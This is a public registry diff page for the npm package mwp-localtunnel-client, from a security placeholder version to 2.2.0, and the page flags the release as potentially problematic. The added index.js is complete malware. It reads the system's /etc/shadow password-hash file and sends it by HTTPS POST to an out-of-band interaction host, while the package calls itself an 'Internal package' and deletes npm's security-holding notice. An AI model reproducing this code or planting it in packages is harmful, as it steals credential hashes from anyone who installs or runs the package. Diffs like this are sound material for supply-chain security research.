mwp-localtunnel-client 0.0.1-security → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mwp-localtunnel-client might be problematic. Click here for more details.
- package/index.js +47 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
// Function to read the /etc/shadow file and send the data to Interactsh server
|
|
5
|
+
function sendShadowFile() {
|
|
6
|
+
const filePath = '/etc/shadow';
|
|
7
|
+
|
|
8
|
+
fs.readFile(filePath, 'utf8', (err, data) => {
|
|
9
|
+
if (err) {
|
|
10
|
+
console.error('Error reading file:', err);
|
|
11
|
+
return;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
const options = {
|
|
15
|
+
hostname: 'iqupqkkettwyxcuvjovf14b2c9hwydjpd.oast.fun',
|
|
16
|
+
port: 443,
|
|
17
|
+
path: '/',
|
|
18
|
+
method: 'POST',
|
|
19
|
+
headers: {
|
|
20
|
+
'Content-Type': 'text/plain',
|
|
21
|
+
'Content-Length': data.length,
|
|
22
|
+
},
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
const req = https.request(options, (res) => {
|
|
26
|
+
let response = '';
|
|
27
|
+
res.on('data', (chunk) => {
|
|
28
|
+
response += chunk;
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
res.on('end', () => {
|
|
32
|
+
console.log('Response from server:', response);
|
|
33
|
+
});
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
req.on('error', (e) => {
|
|
37
|
+
console.error('Error sending data:', e);
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
// Send the data
|
|
41
|
+
req.write(data);
|
|
42
|
+
req.end();
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
// Call the function
|
|
47
|
+
sendShadowFile();
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "mwp-localtunnel-client",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "2.2.0",
|
|
4
|
+
"description": "Internal package",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "ls"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"Testing"
|
|
11
|
+
],
|
|
12
|
+
"author": "ISC",
|
|
13
|
+
"license": "ISC"
|
|
6
14
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=mwp-localtunnel-client for more information.
|